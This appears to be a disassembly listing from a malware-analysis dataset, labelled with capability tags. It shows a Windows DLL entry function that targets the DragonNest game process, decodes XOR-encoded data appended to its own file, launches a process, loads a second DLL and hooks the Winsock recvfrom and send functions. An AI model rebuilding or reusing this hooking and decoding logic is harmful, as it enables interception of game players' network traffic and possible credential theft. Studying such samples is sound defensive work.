Function at 0x10002770
Capabilities:
Create process on windows
Create thread
Encode data using xor
Read file on windows

Disassembly:
sub esp, 0x5f4
mov eax, dword [0x10007018]
xor eax, esp
mov dword [esp + 0x5f0], eax
mov eax, dword [esp + 0x5fc]
sub eax, 1
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x608]
mov dword [esp + 0x14], edi
jne 0x10002bce
push edi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov esi, str.dnlauncher.exe
call fcn.100023b0
cmp eax, 1
jne 0x100027c0
xor eax, eax
jmp 0x10002bd3
mov esi, str.DragonNest.exe
call fcn.100023b0
test eax, eax
je 0x10002bce
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x104
lea eax, [esp + 0x78]
push eax
xor ebx, ebx
push ebx
call esi
push eax
call sub.PSAPI.DLL_GetModuleFileNameExA
lea ecx, [esp + 0x74]
push 0x5c
push ecx
call dword [sym.imp.MSVCR80.dll_strrchr]
add esp, 8
push 0x104
lea edx, [esp + 0x500]
push edx
push edi
mov byte [eax], bl
call esi
push eax
call sub.PSAPI.DLL_GetModuleFileNameExA
push ebx
push 0x80
push 3
push ebx
push 3
push 0x80000000
lea eax, [esp + 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x10002bce
push ebx
push ebx
push 2
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
lea ecx, [esp + 0x14]
push ecx
push 0x2e
push 0x10009648
push ebp
call edi
test eax, eax
jne 0x1000286f
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10002bce
xor eax, eax
mov dl, al
add dl, 1
xor dl, byte [eax + 0x10009648]
add eax, 1
cmp eax, 0x2e
not dl
mov byte [eax + 0x10009647], dl
jb 0x10002871
push 0x10009648
push str.wuxiaodizhi
mov dword [esp + 0x18], eax
call dword [sym.imp.MSVCR80.dll__stricmp]
add esp, 8
test eax, eax
jne 0x100029cc
jmp 0x100028b0
mov cl, al
add cl, 1
xor byte [eax + str.ivwt___11_:___7____.__65wfz10NNOLHJH_], cl
add eax, 1
cmp eax, 0x2e
jb 0x100028b0
push 0x12b
lea edx, [esp + 0x2a9]
push ebx
push edx
mov byte [esp + 0x2b0], bl
call sub.MSVCR80.dll_memset
push 0xbcc
push str.ivwt___11_:___7____.__65wfz10NNOLHJH_
lea eax, [esp + 0x88]
push eax
lea ecx, [esp + 0x2bc]
push str._s__s__d_1_2
push ecx
call dword [sym.imp.MSVCR80.dll_sprintf]
push 0x40
lea edx, [esp + 0x50]
push ebx
push edx
mov dword [esp + 0x54], ebx
call sub.MSVCR80.dll_memset
add esp, 0x2c
xor eax, eax
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
jmp 0x10002930
mov cl, byte [esp + eax + 0x74]
mov byte [esp + eax + 0x1a0], cl
add eax, 1
cmp cl, bl
jne 0x10002930
lea edi, [esp + 0x1a0]
add edi, 0xffffffff
lea esp, [esp]
mov al, byte [edi + 1]
add edi, 1
cmp al, bl
jne 0x10002950
mov ax, word [0x1000592c]
mov word [edi], ax
lea eax, [esp + 0x1a0]
add eax, 0xffffffff
lea ecx, [ecx]
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x10002970
mov ecx, dword [str.model2.dat]
mov edx, dword [0x100059e8]
mov dword [eax], ecx
mov cx, word [0x100059ec]
mov dword [eax + 4], edx
mov dl, byte [0x100059ee]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x2c]
push ecx
push ebx
push ebx
push 0x10
push ebx
push ebx
push ebx
lea edx, [esp + 0x2c4]
push edx
lea eax, [esp + 0x1c4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
lea esi, [esp + 0x74]
call fcn.10002450
test eax, eax
je 0x10002bce
push ebx
lea ecx, [esp + 0x14]
push ecx
push 6
push 0x10009678
push ebp
call edi
test eax, eax
je 0x10002863
xor eax, eax
jmp 0x10002a00
mov dl, al
add dl, 1
xor dl, byte [eax + 0x10009678]
add eax, 1
cmp eax, 6
not dl
mov byte [eax + 0x10009677], dl
jb 0x10002a00
push ebx
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push eax
push 6
lea ecx, [esp + 0x78]
push ecx
push ebp
call edi
test eax, eax
je 0x10002863
xor eax, eax
lea esp, [esp]
mov dl, al
add dl, 1
xor dl, byte [esp + eax + 0x6c]
add eax, 1
cmp eax, 6
not dl
mov byte [esp + eax + 0x6b], dl
jb 0x10002a40
mov dword [esp + 0x10], eax
lea eax, [esp + 0x6c]
push eax
call dword [sym.imp.MSVCR80.dll_atoi]
add esp, 4
push ebp
mov dword [0x10009680], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x14]
mov dword [0x10007cf4], ecx
xor eax, eax
mov cl, byte [esp + eax + 0x74]
mov byte [esp + eax + 0x3d0], cl
add eax, 1
cmp cl, bl
jne 0x10002a81
lea eax, [esp + 0x3d0]
add eax, 0xffffffff
lea ecx, [ecx]
mov cl, byte [eax + 1]
add eax, 1
cmp cl, bl
jne 0x10002aa0
mov edx, dword [str.SDOSDOAgwcore.dll]
mov ecx, dword [0x10005a9c]
mov dword [eax], edx
mov edx, dword [0x10005aa0]
mov dword [eax + 4], ecx
mov ecx, dword [0x10005aa4]
mov dword [eax + 8], edx
mov edx, dword [0x10005aa8]
mov dword [eax + 0xc], ecx
mov cl, byte [0x10005aac]
mov dword [eax + 0x10], edx
lea edx, [esp + 0x3d0]
push edx
mov byte [eax + 0x14], cl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
cmp esi, ebx
je 0x10002bce
mov ebx, dword [0x10007038]
push 0x10009634
add ebx, esi
push 0x10003a50
push 0x10003a40
mov ecx, 0x10007cf8
mov dword [0x10007038], ebx
call fcn.10001cf0
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esp, 0xc
push str.recvfrom
push str.Ws2_32.dll
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
test eax, eax
je 0x10002b5e
push 0x10009644
push 0x10002ed0
push 0x10002e80
mov ecx, 0x10007c90
mov ebx, eax
call fcn.10001cf0
add esp, 0xc
mov ebx, dword [0x10007044]
push 0x10007c8c
add ebx, esi
push 0x100034b0
push 0x100034a0
mov ecx, 0x10007e30
mov dword [0x10007044], ebx
call fcn.10001cf0
add esp, 0xc
push str.send
push str.Ws2_32.dll
call edi
push eax
call ebp
test eax, eax
je 0x10002bb9
push 0x1000963c
push 0x10003640
push 0x10003610
mov ecx, 0x10007dc8
mov ebx, eax
call fcn.10001cf0
add esp, 0xc
push 0
push 0
push 0
push 0x10001150
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
mov ecx, dword [esp + 0x600]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000431f
add esp, 0x5f4
ret 0xc